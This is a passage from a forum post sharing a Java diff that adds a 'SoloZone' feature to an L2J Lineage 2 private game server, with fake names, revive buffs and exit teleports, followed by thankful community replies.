character.setInsideZone(ZoneId.SOLO, false); // Solo zone + character.setInsideZone(ZoneId.NO_STORE, false); // Allow making a store + character.setInsideZone(ZoneId.NO_SUMMON_FRIEND, false); // Allow summon + + if (character instanceof Player) + { + final Player player = (Player) character; + + if (player.getFakeName() != null) + { + player.setFakeName(null); + } + + player.sendPacket(SystemMessageId.LEFT_COMBAT_ZONE); + { + if(!player.isInObserverMode() && player.getPvpFlag() > 0) + PvpFlagTaskManager.getInstance().add(player, Config.PVP_NORMAL_TIME); + + player.sendPacket(new EtcStatusUpdate(player)); + player.broadcastUserInfo(); + } + } + } + + public String getName() + { + return _name; + } + + public Location getLoc() + { + if (_locations.isEmpty()) + { + return null; // Αν η λίστα είναι κενή, επιστρέφουμε null + } + return _locations.get(Rnd.get(0, _locations.size() - 1)); // Επιλέγουμε τυχαία τοποθεσία + } +} diff --git a/java/net/sf/l2j/gameserver/GameServer.java b/java/net/sf/l2j/gameserver/GameServer.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/GameServer.java if (Config.ALLOW_FISH_CHAMPIONSHIP) FishingChampionshipManager.getInstance(); + StringUtil.printSection("Custom Features"); + SoloZoneTaskManager.getInstance(); StringUtil.printSection("Handlers"); LOGGER.info("Loaded {} admin command handlers.", AdminCommandHandler.getInstance().size()); diff --git a/java/net/sf/l2j/gameserver/GameServer.java b/java/net/sf/l2j/gameserver/Shutdown.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/Shutdown.java // disconnect players try { disconnectAllPlayers(); LOGGER.info("All players have been disconnected."); } catch (Exception e) { // Silent catch. } + // Restore real names for players in SoloZone + restoreRealNamesInSoloZone(); // stop all threadpolls ThreadPool.shutdown(); try { LoginServerThread.getInstance().interrupt(); } catch (Exception e) { // Silent catch. } // avoids new players from logging in if (_secondsShut <= 60 && LoginServerThread.getInstance().getServerType() != ServerType.DOWN) LoginServerThread.getInstance().setServerType(ServerType.DOWN); _secondsShut--; Thread.sleep(1000); } } catch (InterruptedException e) { } } + // This method restores the real names of players in SoloZone + private static void restoreRealNamesInSoloZone() + { + for (Player player : World.getInstance().getPlayers()) + { + // Check if player is inside the SoloZone + if (player.isInsideZone(ZoneId.SOLO)) + { + // Restore the real name by removing the fake name + if (player.getFakeName() != null) + { + player.setFakeName(null); // Restore the real name + LOGGER.info("Player {}'s fake name has been removed and real name restored.", player.getName()); + } + } + } + } private static void sendServerQuit(int seconds) { World.toAllOnlinePlayers(SystemMessage.getSystemMessage(SystemMessageId.THE_SERVER_WILL_BE_COMING_DOWN_IN_S1_SECONDS).addNumber(seconds)); } diff --git a/java/net/sf/l2j/gameserver/enums/ZoneId.java b/java/net/sf/l2j/gameserver/enums/ZoneId.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/enums/ZoneId.java public enum ZoneId { PVP(0), PEACE(1), SIEGE(2), MOTHER_TREE(3), CLAN_HALL(4), NO_LANDING(5), WATER(6), JAIL(7), MONSTER_TRACK(8), CASTLE(9), SWAMP(10), NO_SUMMON_FRIEND(11), NO_STORE(12), TOWN(13), HQ(14), DANGER_AREA(15), CAST_ON_ARTIFACT(16), NO_RESTART(17), SCRIPT(18), - BOSS(19), + BOSS(19), + SOLO(20); private final int _id; private ZoneId(int id) { _id = id; } diff --git a/java/net/sf/l2j/gameserver/network/serverpackets/Die.java b/java/net/sf/l2j/gameserver/network/serverpackets/Die.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/serverpackets/Die.java if (creature instanceof Player) { Player player = (Player) creature; - _allowFixedRes = player.getAccessLevel().allowFixedRes(); + _allowFixedRes = player.getAccessLevel().allowFixedRes() || player.isInsideZone(ZoneId.SOLO); _clan = player.getClan(); } diff --git a/java/net/sf/l2j/gameserver/model/actor/Player.java b/java/net/sf/l2j/gameserver//model/actor/Player.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/EnterWorld.java // Attacker or spectator logging into a siege zone will be ported at town. if (player.isInsideZone(ZoneId.SIEGE) && player.getSiegeState() < 2) player.teleportTo(TeleportType.TOWN); + if (player.isInsideZone(ZoneId.SOLO)) + { + ThreadPool.schedule(() -> { + Location exitLocation = VoiceExitSoloZone.getExitLocation(); + + if (exitLocation != null) + { + player.teleportTo(exitLocation.getX(), exitLocation.getY(), exitLocation.getZ(), 0); + player.sendMessage("You have been moved to the exit of the SoloZone."); + } + }, 5000); // 5000 milliseconds (5sec) + } diff --git a/java/net/sf/l2j/gameserver/model/actor/Player.java b/java/net/sf/l2j/gameserver/model/actor/Player.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/model/actor/Player.java @Override public void doRevive() { super.doRevive(); stopEffects(EffectType.CHARM_OF_COURAGE); sendPacket(new EtcStatusUpdate(this)); getStatus().setCpHpMp(getStatus().getMaxCp(), getStatus().getMaxHp(), getStatus().getMaxMp()); _reviveRequested = 0; _revivePower = 0; if (isMounted()) startFeed(_mountNpcId); + if (isInsideZone(ZoneId.SOLO)) + { + // Give Nobless (1323 ID) + L2Skill no = SkillTable.getInstance().getInfo(1323, 1); + no.getEffects(this, this); + sendMessage("You have received the Nobless status in the Solo Zone."); + } + }   If anyone thinks the code is wrong, please make an update and upload it here so I can update the post. A part was edited with chatgpt
    • Always remember, when you buy files, just compare with my files that I publish for free. and you will know that you are being ripped off. Greetings to all community!!! 🙂
    • Thank you for sharing. You are a capable and skilled person. Thank you again for your selfless dedication, Guytis🫡
    • he kept his promise! i think it's a good idea to unban his old account. he shares files with the community and could help both new and veteran l2off users! good job, Guytis!
  • Topics

×
×
  • Create New...